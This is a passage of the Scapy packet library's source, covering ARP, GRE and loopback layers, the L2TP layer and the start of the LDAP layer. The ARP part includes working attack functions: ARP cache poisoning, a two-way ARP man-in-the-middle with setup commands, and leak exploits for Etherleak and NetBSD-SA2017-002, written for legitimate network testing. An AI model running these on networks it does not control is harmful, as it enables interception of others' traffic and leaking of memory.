0x0800, ETHER_TYPES), FieldLenField("hwlen", None, fmt="B", length_of="hwsrc"), FieldLenField("plen", None, fmt="B", length_of="psrc"), ShortEnumField("op", 1, { "who-has": 1, "is-at": 2, "RARP-req": 3, "RARP-rep": 4, "Dyn-RARP-req": 5, "Dyn-RAR-rep": 6, "Dyn-RARP-err": 7, "InARP-req": 8, "InARP-rep": 9 }), MultipleTypeField( [ (SourceMACField("hwsrc"), (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6, lambda pkt, val: pkt.hwtype == 1 and ( pkt.hwlen == 6 or (pkt.hwlen is None and (val is None or len(val) == 6 or valid_mac(val))) ))), ], StrFixedLenField("hwsrc", None, length_from=lambda pkt: pkt.hwlen), ), MultipleTypeField( [ (SourceIPField("psrc"), (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4, lambda pkt, val: pkt.ptype == 0x0800 and ( pkt.plen == 4 or (pkt.plen is None and (val is None or valid_net(val))) ))), (SourceIP6Field("psrc"), (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16, lambda pkt, val: pkt.ptype == 0x86dd and ( pkt.plen == 16 or (pkt.plen is None and (val is None or valid_net6(val))) ))), ], StrFixedLenField("psrc", None, length_from=lambda pkt: pkt.plen), ), MultipleTypeField( [ (MACField("hwdst", ETHER_ANY), (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6, lambda pkt, val: pkt.hwtype == 1 and ( pkt.hwlen == 6 or (pkt.hwlen is None and (val is None or len(val) == 6 or valid_mac(val))) ))), ], StrFixedLenField("hwdst", None, length_from=lambda pkt: pkt.hwlen), ), MultipleTypeField( [ (IPField("pdst", "0.0.0.0"), (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4, lambda pkt, val: pkt.ptype == 0x0800 and ( pkt.plen == 4 or (pkt.plen is None and (val is None or valid_net(val))) ))), (IP6Field("pdst", "::"), (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16, lambda pkt, val: pkt.ptype == 0x86dd and ( pkt.plen == 16 or (pkt.plen is None and (val is None or valid_net6(val))) ))), ], StrFixedLenField("pdst", None, length_from=lambda pkt: pkt.plen), ), ] def hashret(self): # type: () -> bytes return struct.pack(">HHH", self.hwtype, self.ptype, ((self.op + 1) // 2)) + self.payload.hashret() def answers(self, other): # type: (Packet) -> int if not isinstance(other, ARP): return False if self.op != other.op + 1: return False # We use a loose comparison on psrc vs pdst to catch answers # with ARP leaks self_psrc = self.get_field('psrc').i2m(self, self.psrc) # type: bytes other_pdst = other.get_field('pdst').i2m(other, other.pdst) \ # type: bytes return self_psrc[:len(other_pdst)] == other_pdst[:len(self_psrc)] def route(self): # type: () -> Tuple[Optional[str], Optional[str], Optional[str]] fld, dst = cast(Tuple[MultipleTypeField, str], self.getfield_and_val("pdst")) fld_inner, dst = fld._find_fld_pkt_val(self, dst) scope = None if isinstance(dst, (Net, _ScopedIP)): scope = dst.scope if isinstance(dst, Gen): dst = next(iter(dst)) if isinstance(fld_inner, IP6Field): return conf.route6.route(dst, dev=scope) elif isinstance(fld_inner, IPField): return conf.route.route(dst, dev=scope) else: return None, None, None def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, bytes] return b"", s def mysummary(self): # type: () -> str if self.op == 1: return self.sprintf("ARP who has %pdst% says %psrc%") if self.op == 2: return self.sprintf("ARP is at %hwsrc% says %psrc%") return self.sprintf("ARP %op% %psrc% > %pdst%") def l2_register_l3_arp(l2: Packet, l3: Packet) -> Optional[str]: """ Resolves the default L2 destination address when ARP is used. """ if l3.op == 1: # who-has return "ff:ff:ff:ff:ff:ff" elif l3.op == 2: # is-at log_runtime.warning( "You should be providing the Ethernet destination MAC address when " "sending an is-at ARP." ) # Need ARP request to send ARP request... plen = l3.get_field("pdst").i2len(l3, l3.pdst) if plen == 4: return getmacbyip(l3.pdst) elif plen == 32: from scapy.layers.inet6 import getmacbyip6 return getmacbyip6(l3.pdst) # Can't even do that log_runtime.warning( "You should be providing the Ethernet destination mac when sending this " "kind of ARP packets." ) return None conf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp) class GRErouting(Packet): name = "GRE routing information" fields_desc = [ShortField("address_family", 0), ByteField("SRE_offset", 0), FieldLenField("SRE_len", None, "routing_info", "B"), StrLenField("routing_info", b"", length_from=lambda pkt: pkt.SRE_len), ] class GRE(Packet): name = "GRE" deprecated_fields = { "seqence_number": ("sequence_number", "2.4.4"), } fields_desc = [BitField("chksum_present", 0, 1), BitField("routing_present", 0, 1), BitField("key_present", 0, 1), BitField("seqnum_present", 0, 1), BitField("strict_route_source", 0, 1), BitField("recursion_control", 0, 3), BitField("flags", 0, 5), BitField("version", 0, 3), XShortEnumField("proto", 0x0000, ETHER_TYPES), ConditionalField(XShortField("chksum", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501 ConditionalField(XShortField("offset", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501 ConditionalField(XIntField("key", None), lambda pkt:pkt.key_present == 1), # noqa: E501 ConditionalField(XIntField("sequence_number", None), lambda pkt:pkt.seqnum_present == 1), # noqa: E501 ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): # type: (Optional[Any], *Any, **Any) -> Type[Packet] if _pkt and struct.unpack("!H", _pkt[2:4])[0] == 0x880b: return GRE_PPTP return cls def post_build(self, p, pay): # type: (bytes, bytes) -> bytes p += pay if self.chksum_present and self.chksum is None: c = checksum(p) p = p[:4] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[6:] return p class GRE_PPTP(GRE): """ Enhanced GRE header used with PPTP RFC 2637 """ name = "GRE PPTP" deprecated_fields = { "seqence_number": ("sequence_number", "2.4.4"), } fields_desc = [BitField("chksum_present", 0, 1), BitField("routing_present", 0, 1), BitField("key_present", 1, 1), BitField("seqnum_present", 0, 1), BitField("strict_route_source", 0, 1), BitField("recursion_control", 0, 3), BitField("acknum_present", 0, 1), BitField("flags", 0, 4), BitField("version", 1, 3), XShortEnumField("proto", 0x880b, ETHER_TYPES), ShortField("payload_len", None), ShortField("call_id", None), ConditionalField(XIntField("sequence_number", None), lambda pkt: pkt.seqnum_present == 1), # noqa: E501 ConditionalField(XIntField("ack_number", None), lambda pkt: pkt.acknum_present == 1)] # noqa: E501 def post_build(self, p, pay): # type: (bytes, bytes) -> bytes p += pay if self.payload_len is None: pay_len = len(pay) p = p[:4] + chb((pay_len >> 8) & 0xff) + chb(pay_len & 0xff) + p[6:] # noqa: E501 return p # *BSD loopback layer class LoIntEnumField(IntEnumField): def m2i(self, pkt, x): # type: (Optional[Packet], int) -> int return x >> 24 def i2m(self, pkt, x): # type: (Optional[Packet], Union[List[int], int, None]) -> int return cast(int, x) << 24 # https://github.com/wireshark/wireshark/blob/fe219637a6748130266a0b0278166046e60a2d68/epan/dissectors/packet-null.c # https://www.wireshark.org/docs/wsar_html/epan/aftypes_8h.html LOOPBACK_TYPES = {0x2: "IPv4", 0x7: "OSI", 0x10: "Appletalk", 0x17: "Netware IPX/SPX", 0x18: "IPv6", 0x1c: "IPv6", 0x1e: "IPv6"} # On OpenBSD, Loopback = LoopbackOpenBSD. On other platforms, the 2 are available. # This is to be compatible with both tcpdump and tshark class Loopback(Packet): r""" \*BSD loopback layer """ __slots__ = ["_defrag_pos"] name = "Loopback" if consts.OPENBSD: fields_desc = [IntEnumField("type", 0x2, LOOPBACK_TYPES)] else: fields_desc = [LoIntEnumField("type", 0x2, LOOPBACK_TYPES)] if consts.OPENBSD: LoopbackOpenBSD = Loopback else: class LoopbackOpenBSD(Loopback): name = "OpenBSD Loopback" fields_desc = [IntEnumField("type", 0x2, LOOPBACK_TYPES)] class Dot1AD(Dot1Q): name = '802_1AD' class Dot1AH(Packet): name = "802_1AH" fields_desc = [BitField("prio", 0, 3), BitField("dei", 0, 1), BitField("nca", 0, 1), BitField("res1", 0, 1), BitField("res2", 0, 2), ThreeBytesField("isid", 0)] def answers(self, other): # type: (Packet) -> int if isinstance(other, Dot1AH): if self.isid == other.isid: return self.payload.answers(other.payload) return 0 def mysummary(self): # type: () -> str return self.sprintf("802.1ah (isid=%Dot1AH.isid%") conf.neighbor.register_l3(Ether, Dot1AH, l2_register_l3) bind_layers(Dot3, LLC) bind_layers(Ether, LLC, type=122) bind_layers(Ether, LLC, type=34928) bind_layers(Ether, Dot1Q, type=33024) bind_layers(Ether, Dot1AD, type=0x88a8) bind_layers(Ether, Dot1AH, type=0x88e7) bind_layers(Dot1AD, Dot1AD, type=0x88a8) bind_layers(Dot1AD, Dot1Q, type=0x8100) bind_layers(Dot1AD, Dot1AH, type=0x88e7) bind_layers(Dot1Q, Dot1AD, type=0x88a8) bind_layers(Dot1Q, Dot1AH, type=0x88e7) bind_layers(Dot1AH, Ether) bind_layers(Ether, Ether, type=1) bind_layers(Ether, ARP, type=2054) bind_layers(CookedLinux, LLC, proto=122) bind_layers(CookedLinux, Dot1Q, proto=33024) bind_layers(CookedLinux, Dot1AD, type=0x88a8) bind_layers(CookedLinux, Dot1AH, type=0x88e7) bind_layers(CookedLinux, Ether, proto=1) bind_layers(CookedLinux, ARP, proto=2054) bind_layers(MPacketPreamble, Ether) bind_layers(GRE, LLC, proto=122) bind_layers(GRE, Dot1Q, proto=33024) bind_layers(GRE, Dot1AD, type=0x88a8) bind_layers(GRE, Dot1AH, type=0x88e7) bind_layers(GRE, Ether, proto=0x6558) bind_layers(GRE, ARP, proto=2054) bind_layers(GRE, GRErouting, {"routing_present": 1}) bind_layers(GRErouting, conf.raw_layer, {"address_family": 0, "SRE_len": 0}) bind_layers(GRErouting, GRErouting) bind_layers(LLC, STP, dsap=66, ssap=66, ctrl=3) bind_layers(LLC, SNAP, dsap=170, ssap=170, ctrl=3) bind_layers(SNAP, Dot1Q, code=33024) bind_layers(SNAP, Dot1AD, type=0x88a8) bind_layers(SNAP, Dot1AH, type=0x88e7) bind_layers(SNAP, Ether, code=1) bind_layers(SNAP, ARP, code=2054) bind_layers(SNAP, STP, code=267) conf.l2types.register(ARPHDR_ETHER, Ether) conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether) conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether) conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3) conf.l2types.register(DLT_LINUX_SLL, CookedLinux) conf.l2types.register(DLT_LINUX_SLL2, CookedLinuxV2) conf.l2types.register(DLT_ETHERNET_MPACKET, MPacketPreamble) conf.l2types.register_num2layer(DLT_LINUX_IRDA, CookedLinux) conf.l2types.register(DLT_NULL, Loopback) conf.l2types.register(DLT_LOOP, LoopbackOpenBSD) conf.l3types.register(ETH_P_ARP, ARP) # Techniques @conf.commands.register def arpcachepoison( target, # type: Union[str, List[str]] addresses, # type: Union[str, Tuple[str, str], List[Tuple[str, str]]] broadcast=False, # type: bool count=None, # type: Optional[int] interval=15, # type: int **kwargs, # type: Any ): # type: (...) -> None """Poison targets' ARP cache :param target: Can be an IP, subnet (string) or a list of IPs. This lists the IPs or the subnet that will be poisoned. :param addresses: Can be either a string, a tuple of a list of tuples. If it's a string, it's the IP to advertise to the victim, with the local interface's MAC. If it's a tuple, it's ("IP", "MAC"). It it's a list, it's [("IP", "MAC")]. "IP" can be a subnet of course. :param broadcast: Use broadcast ethernet Examples for target "192.168.0.2":: >>> arpcachepoison("192.168.0.2", "192.168.0.1") >>> arpcachepoison("192.168.0.1/24", "192.168.0.1") >>> arpcachepoison(["192.168.0.2", "192.168.0.3"], "192.168.0.1") >>> arpcachepoison("192.168.0.2", ("192.168.0.1", get_if_hwaddr("virbr0"))) >>> arpcachepoison("192.168.0.2", [("192.168.0.1", get_if_hwaddr("virbr0"), ... ("192.168.0.2", "aa:aa:aa:aa:aa:aa")]) """ if isinstance(target, str): targets = Net(target) # type: Union[Net, List[str]] str_target = target else: targets = target str_target = target[0] if isinstance(addresses, str): couple_list = [(addresses, get_if_hwaddr(conf.route.route(str_target)[0]))] elif isinstance(addresses, tuple): couple_list = [addresses] else: couple_list = addresses p: List[Packet] = [ Ether(src=y, dst="ff:ff:ff:ff:ff:ff" if broadcast else None) / ARP(op="who-has", psrc=x, pdst=targets, hwsrc=y, hwdst="00:00:00:00:00:00") for x, y in couple_list ] if count is not None: sendp(p, iface_hint=str_target, count=count, inter=interval, **kwargs) return try: while True: sendp(p, iface_hint=str_target, **kwargs) time.sleep(interval) except KeyboardInterrupt: pass @conf.commands.register def arp_mitm( ip1, # type: str ip2, # type: str mac1=None, # type: Optional[Union[str, List[str]]] mac2=None, # type: Optional[Union[str, List[str]]] broadcast=False, # type: bool target_mac=None, # type: Optional[str] iface=None, # type: Optional[_GlobInterfaceType] inter=3, # type: int ): # type: (...) -> None r"""ARP MitM: poison 2 target's ARP cache :param ip1: IPv4 of the first machine :param ip2: IPv4 of the second machine :param mac1: MAC of the first machine (optional: will ARP otherwise) :param mac2: MAC of the second machine (optional: will ARP otherwise) :param broadcast: if True, will use broadcast mac for MitM by default :param target_mac: MAC of the attacker (optional: default to the interface's one) :param iface: the network interface. (optional: default, route for ip1) Example usage:: $ sysctl net.ipv4.conf.virbr0.send_redirects=0 # virbr0 = interface $ sysctl net.ipv4.ip_forward=1 $ sudo iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1 $ sudo scapy >>> arp_mitm("192.168.122.156", "192.168.122.17") Alternative usages: >>> arp_mitm("10.0.0.1", "10.1.1.0/21", iface="eth1") >>> arp_mitm("10.0.0.1", "10.1.1.2", ... target_mac="aa:aa:aa:aa:aa:aa", ... mac2="00:1e:eb:bf:c1:ab") .. warning:: If using a subnet, this will first perform an arping, unless broadcast is on! Remember to change the sysctl settings back.. """ if not iface: iface = conf.route.route(ip1)[0] if not target_mac: target_mac = get_if_hwaddr(iface) def _tups(ip, mac): # type: (str, Optional[Union[str, List[str]]]) -> Iterable[Tuple[str, str]] if mac is None: if broadcast: # ip can be a Net/list/etc and will be iterated upon while sending return [(ip, "ff:ff:ff:ff:ff:ff")] return [(x.query.pdst, x.answer.hwsrc) for x in arping(ip, verbose=0, iface=iface)[0]] elif isinstance(mac, list): return [(ip, x) for x in mac] else: return [(ip, mac)] tup1 = _tups(ip1, mac1) if not tup1: raise OSError(f"Could not resolve {ip1}") tup2 = _tups(ip2, mac2) if not tup2: raise OSError(f"Could not resolve {ip2}") print(f"MITM on {iface}: %s <--> {target_mac} <--> %s" % ( [x[1] for x in tup1], [x[1] for x in tup2], )) # We loop who-has requests srploop( list(itertools.chain( (x for ipa, maca in tup1 for ipb, _ in tup2 if ipb != ipa for x in Ether(dst=maca, src=target_mac) / ARP(op="who-has", psrc=ipb, pdst=ipa, hwsrc=target_mac, hwdst="00:00:00:00:00:00") ), (x for ipb, macb in tup2 for ipa, _ in tup1 if ipb != ipa for x in Ether(dst=macb, src=target_mac) / ARP(op="who-has", psrc=ipa, pdst=ipb, hwsrc=target_mac, hwdst="00:00:00:00:00:00") ), )), filter="arp and arp[7] = 2", inter=inter, iface=iface, timeout=0.5, verbose=1, store=0, ) print("Restoring...") sendp( list(itertools.chain( (x for ipa, maca in tup1 for ipb, macb in tup2 if ipb != ipa for x in Ether(dst="ff:ff:ff:ff:ff:ff", src=macb) / ARP(op="who-has", psrc=ipb, pdst=ipa, hwsrc=macb, hwdst="00:00:00:00:00:00") ), (x for ipb, macb in tup2 for ipa, maca in tup1 if ipb != ipa for x in Ether(dst="ff:ff:ff:ff:ff:ff", src=maca) / ARP(op="who-has", psrc=ipa, pdst=ipb, hwsrc=maca, hwdst="00:00:00:00:00:00") ), )), iface=iface ) class ARPingResult(SndRcvList): def __init__(self, res=None, # type: Optional[Union[_PacketList[QueryAnswer], List[QueryAnswer]]] # noqa: E501 name="ARPing", # type: str stats=None # type: Optional[List[Type[Packet]]] ): SndRcvList.__init__(self, res, name, stats) def show(self, *args, **kwargs): # type: (*Any, **Any) -> None """ Print the list of discovered MAC addresses. """ data = list() # type: List[Tuple[str | List[str], ...]] for s, r in self.res: manuf = conf.manufdb._get_short_manuf(r.src) manuf = "unknown" if manuf == r.src else manuf data.append((r[Ether].src, manuf, r[ARP].psrc)) print( pretty_list( data, [("src", "manuf", "psrc")], sortBy=2, ) ) @conf.commands.register def arping(net: str, timeout: int = 2, cache: int = 0, verbose: Optional[int] = None, threaded: bool = True, **kargs: Any, ) -> Tuple[ARPingResult, PacketList]: """ Send ARP who-has requests to determine which hosts are up:: arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None Set cache=True if you want arping to modify internal ARP-Cache """ if verbose is None: verbose = conf.verb hwaddr = None if "iface" in kargs: hwaddr = get_if_hwaddr(kargs["iface"]) if isinstance(net, list): hint = net[0] else: hint = str(net) psrc = conf.route.route( hint, dev=kargs.get("iface", None), verbose=False, _internal=True, # Do not follow default routes. )[1] if psrc == "0.0.0.0" and "iface" not in kargs: warning( "Could not find the interface for destination %s based on the routes. " "Using conf.iface. Please provide an 'iface' !" % hint ) ans, unans = srp( Ether(dst="ff:ff:ff:ff:ff:ff", src=hwaddr) / ARP( pdst=net, psrc=psrc, hwsrc=hwaddr ), verbose=verbose, filter="arp and arp[7] = 2", timeout=timeout, threaded=threaded, iface_hint=hint, **kargs, ) ans = ARPingResult(ans.res) if cache and ans is not None: for pair in ans: _arp_cache[pair[1].psrc] = pair[1].hwsrc if ans is not None and verbose: ans.show() return ans, unans @conf.commands.register def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): # type: (str, str, **Any) -> bool """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 return responses is not None @conf.commands.register def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): # type: (str, int, str, **Any) -> Tuple[ARPingResult, PacketList] """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) # noqa: E501 ans = ARPingResult(ans.res, name="PROMISCPing") ans.show() return ans, unans class ARP_am(AnsweringMachine[Packet]): """Fake ARP Relay Daemon (farpd) example: To respond to an ARP request for 192.168.100 replying on the ingress interface:: farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05') To respond on a different interface add the interface parameter:: farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0') To respond on ANY arp request on an interface with mac address ARP_addr:: farpd(ARP_addr='00:01:02:03:04:05',iface='eth1') To respond on ANY arp request with my mac addr on the given interface:: farpd(iface='eth1') Optional Args:: inter= Interval in seconds between ARP replies being sent """ function_name = "farpd" filter = "arp" send_function = staticmethod(sendp) def parse_options(self, IP_addr=None, ARP_addr=None, from_ip=None): # type: (Optional[str], Optional[str], Optional[str]) -> None if isinstance(IP_addr, str): self.IP_addr = Net(IP_addr) # type: Optional[Net] else: self.IP_addr = IP_addr if isinstance(from_ip, str): self.from_ip = Net(from_ip) # type: Optional[Net] else: self.from_ip = from_ip self.ARP_addr = ARP_addr def is_request(self, req): # type: (Packet) -> bool if not req.haslayer(ARP): return False arp = req[ARP] return ( arp.op == 1 and (self.IP_addr is None or arp.pdst in self.IP_addr) and (self.from_ip is None or arp.psrc in self.from_ip) ) def make_reply(self, req): # type: (Packet) -> Packet ether = req[Ether] arp = req[ARP] if 'iface' in self.optsend: iff = cast(Union[NetworkInterface, str], self.optsend.get('iface')) else: iff, a, gw = conf.route.route(arp.psrc) self.iff = iff if self.ARP_addr is None: try: ARP_addr = get_if_hwaddr(iff) except Exception: ARP_addr = "00:00:00:00:00:00" else: ARP_addr = self.ARP_addr resp = Ether(dst=ether.src, src=ARP_addr) / ARP(op="is-at", hwsrc=ARP_addr, psrc=arp.pdst, hwdst=arp.hwsrc, pdst=arp.psrc) return resp def send_reply(self, reply, send_function=None): # type: (Packet, Any) -> None if 'iface' in self.optsend: self.send_function(reply, **self.optsend) else: self.send_function(reply, iface=self.iff, **self.optsend) def print_reply(self, req, reply): # type: (Packet, Packet) -> None print("%s ==> %s on %s" % (req.summary(), reply.summary(), self.iff)) @conf.commands.register def etherleak(target, **kargs): # type: (str, **Any) -> Tuple[SndRcvList, PacketList] """Exploit Etherleak flaw""" return srp(Ether() / ARP(pdst=target), prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 filter="arp", **kargs) @conf.commands.register def arpleak(target, plen=255, hwlen=255, **kargs): # type: (str, int, int, **Any) -> Tuple[SndRcvList, PacketList] """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} # type: Dict[str, List[Packet]] for pkt in ARP(pdst=target): # We have to do some of Scapy's work since we mess with # important values iface = conf.route.route(pkt.pdst)[0] psrc = get_if_addr(iface) hwsrc = get_if_hwaddr(iface) pkt.plen = plen pkt.hwlen = hwlen if plen == 4: pkt.psrc = psrc else: pkt.psrc = inet_aton(psrc)[:plen] pkt.pdst = inet_aton(pkt.pdst)[:plen] if hwlen == 6: pkt.hwsrc = hwsrc else: pkt.hwsrc = mac2str(hwsrc)[:hwlen] pkts_iface.setdefault(iface, []).append( Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt ) ans, unans = SndRcvList(), PacketList(name="Unanswered") for iface, pkts in pkts_iface.items(): ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs) ans += ans_new unans += unans_new ans.listname = "Results" unans.listname = "Unanswered" for _, rcv in ans: if ARP not in rcv: continue rcv = rcv[ARP] psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc) if plen > 4 and len(psrc) > 4: print("psrc") hexdump(psrc[4:]) print() hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc) if hwlen > 6 and len(hwsrc) > 6: print("hwsrc") hexdump(hwsrc[6:]) print() return ans, unans ================================================ FILE: scapy/layers/l2tp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ L2TP (Layer 2 Tunneling Protocol) for VPNs. [RFC 2661] """ import struct from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import BitEnumField, ConditionalField, FlagsField, \ PadField, ShortField from scapy.layers.inet import UDP from scapy.layers.ppp import PPP class L2TP(Packet): name = "L2TP" fields_desc = [ FlagsField("hdr", 0, 12, ['res00', 'res01', 'res02', 'res03', 'priority', 'offset', # noqa: E501 'res06', 'sequence', 'res08', 'res09', 'length', 'control']), # noqa: E501 BitEnumField("version", 2, 4, {2: 'L2TPv2'}), ConditionalField(ShortField("len", None), lambda pkt: pkt.hdr & 'control+length'), ShortField("tunnel_id", 0), ShortField("session_id", 0), ConditionalField(ShortField("ns", 0), lambda pkt: pkt.hdr & 'sequence+control'), ConditionalField(ShortField("nr", 0), lambda pkt: pkt.hdr & 'sequence+control'), ConditionalField( PadField(ShortField("offset", 0), 4, b"\x00"), lambda pkt: not (pkt.hdr & 'control') and pkt.hdr & 'offset' ) ] def post_build(self, pkt, pay): if self.len is None and self.hdr & 'control+length': tmp_len = len(pkt) + len(pay) pkt = pkt[:2] + struct.pack("!H", tmp_len) + pkt[4:] return pkt + pay bind_bottom_up(UDP, L2TP, dport=1701) bind_bottom_up(UDP, L2TP, sport=1701) bind_layers(UDP, L2TP, dport=1701, sport=1701) bind_layers(L2TP, PPP,) ================================================ FILE: scapy/layers/ldap.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ LDAP RFC 1777 - LDAP v2 RFC 4511 - LDAP v3 Note: to mimic Microsoft Windows LDAP packets, you must set:: conf.ASN1_default_long_size = 4 .. note:: You will find more complete documentation for this layer over at `LDAP `_ """ import collections import re import socket import ssl import string import struct import uuid from scapy.arch import get_if_addr from scapy.ansmachine import AnsweringMachine from scapy.asn1.asn1 import ( ASN1_BOOLEAN, ASN1_Class, ASN1_Codecs, ASN1_ENUMERATED, ASN1_INTEGER, ASN1_STRING, ) from scapy.asn1.ber import ( BER_Decoding_Error, BER_id_dec, BER_len_dec, BERcodec_STRING, ) from scapy.asn1fields import ( ASN1F_badsequence, ASN1F_BOOLEAN, ASN1F_CHOICE, ASN1F_ENUMERATED, ASN1F_FLAGS, ASN1F_INTEGER, ASN1F_NULL, ASN1F_optional, ASN1F_PACKET, ASN1F_SEQUENCE_OF, ASN1F_SEQUENCE, ASN1F_SET_OF, ASN1F_STRING_PacketField, ASN1F_STRING, ) from scapy.asn1packet import ASN1_Packet from scapy.config import conf from scapy.compat import StrEnum from scapy.error import log_runtime from scapy.fields import ( FieldLenField, FlagsField, ThreeBytesField, ) from scapy.packet import ( Packet, bind_bottom_up, bind_layers, ) from scapy.sendrecv import send from scapy.supersocket import ( SimpleSocket, StreamSocket, SSLStreamSocket, ) from scapy.layers.dns import dns_resolve from scapy.layers.inet import IP, TCP, UDP from scapy.layers.inet6 import IPv6 from scapy.layers.gssapi import ( _GSSAPI_Field, ChannelBindingType, GSS_C_FLAGS, GSS_C_NO_CHANNEL_BINDINGS, GSS_QOP_REQ_FLAGS, GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED, GSSAPI_BLOB_SIGNATURE, GSSAPI_BLOB, GssChannelBindings, SSP, ) from scapy.layers.netbios import NBTDatagram from scapy.layers.smb import ( NETLOGON, NETLOGON_SAM_LOGON_RESPONSE_EX, ) from scapy.layers.windows.erref import STATUS_ERREF # Typing imports from typing import ( Any, Dict, List, Optional, Union, ) # Elements of protocol # https://datatracker.ietf.org/doc/html/rfc1777#section-4 LDAPString = ASN1F_STRING LDAPOID = ASN1F_STRING LDAPDN = LDAPString RelativeLDAPDN = LDAPString AttributeType = LDAPString AttributeValue = ASN1F_STRING URI = LDAPString class AttributeValueAssertion(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( AttributeType("attributeType", "organizationName"), AttributeValue("attributeValue", ""), ) class LDAPReferral(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = LDAPString("uri", "") LDAPResult = ( ASN1F_ENUMERATED( "resultCode", 0, { 0: "success", 1: "operationsError", 2: "protocolError", 3: "timeLimitExceeded", 4: "sizeLimitExceeded", 5: "compareFalse", 6: "compareTrue", 7: "authMethodNotSupported", 8: "strongAuthRequired", 10: "referral", 11: "adminLimitExceeded", 14: "saslBindInProgress", 16: "noSuchAttribute", 17: "undefinedAttributeType", 18: "inappropriateMatching", 19: "constraintViolation", 20: "attributeOrValueExists", 21: "invalidAttributeSyntax", 32: "noSuchObject", 33: "aliasProblem", 34: "invalidDNSyntax", 35: "isLeaf", 36: "aliasDereferencingProblem", 48: "inappropriateAuthentication", 49: "invalidCredentials", 50: "insufficientAccessRights", 51: "busy", 52: "unavailable", 53: "unwillingToPerform", 54: "loopDetect", 64: "namingViolation", 65: "objectClassViolation", 66: "notAllowedOnNonLeaf", 67: "notAllowedOnRDN", 68: "entryAlreadyExists", 69: "objectClassModsProhibited", 70: "resultsTooLarge", # CLDAP 80: "other", }, ), LDAPDN("matchedDN", ""), LDAPString("diagnosticMessage", ""), # LDAP v3 only ASN1F_optional(ASN1F_SEQUENCE_OF("referral", [], LDAPReferral, implicit_tag=0xA3)), ) # ldap APPLICATION class ASN1_Class_LDAP(ASN1_Class): name = "LDAP" # APPLICATION + CONSTRUCTED = 0x40 | 0x20 BindRequest = 0x60 BindResponse = 0x61 UnbindRequest = 0x42 # not constructed SearchRequest = 0x63 SearchResultEntry = 0x64 SearchResultDone = 0x65 ModifyRequest = 0x66 ModifyResponse = 0x67 AddRequest = 0x68 AddResponse = 0x69 DelRequest = 0x4A # not constructed DelResponse = 0x6B ModifyDNRequest = 0x6C ModifyDNResponse = 0x6D CompareRequest = 0x6E CompareResponse = 0x7F AbandonRequest = 0x50 # application + primitive SearchResultReference = 0x73 ExtendedRequest = 0x77 ExtendedResponse = 0x78 # Bind operation # https://datatracker.ietf.org/doc/html/rfc4511#section-4.2 class ASN1_Class_LDAP_Authentication(ASN1_Class): name = "LDAP Authentication" # CONTEXT-SPECIFIC = 0x80 simple = 0x80 krbv42LDAP = 0x81 krbv42DSA = 0x82 sasl = 0xA3 # CONTEXT-SPECIFIC | CONSTRUCTED # [MS-ADTS] sect 5.1.1.1 sicilyPackageDiscovery = 0x89 sicilyNegotiate = 0x8A sicilyResponse = 0x8B # simple class LDAP_Authentication_simple(ASN1_STRING): tag = ASN1_Class_LDAP_Authentication.simple class BERcodec_LDAP_Authentication_simple(BERcodec_STRING): tag = ASN1_Class_LDAP_Authentication.simple class ASN1F_LDAP_Authentication_simple(ASN1F_STRING): ASN1_tag = ASN1_Class_LDAP_Authentication.simple # krbv42LDAP class LDAP_Authentication_krbv42LDAP(ASN1_STRING): tag = ASN1_Class_LDAP_Authentication.krbv42LDAP class BERcodec_LDAP_Authentication_krbv42LDAP(BERcodec_STRING): tag = ASN1_Class_LDAP_Authentication.krbv42LDAP class ASN1F_LDAP_Authentication_krbv42LDAP(ASN1F_STRING): ASN1_tag = ASN1_Class_LDAP_Authentication.krbv42LDAP # krbv42DSA class LDAP_Authentication_krbv42DSA(ASN1_STRING): tag = ASN1_Class_LDAP_Authentication.krbv42DSA class BERcodec_LDAP_Authentication_krbv42DSA(BERcodec_STRING): tag = ASN1_Class_LDAP_Authentication.krbv42DSA class ASN1F_LDAP_Authentication_krbv42DSA(ASN1F_STRING): ASN1_tag 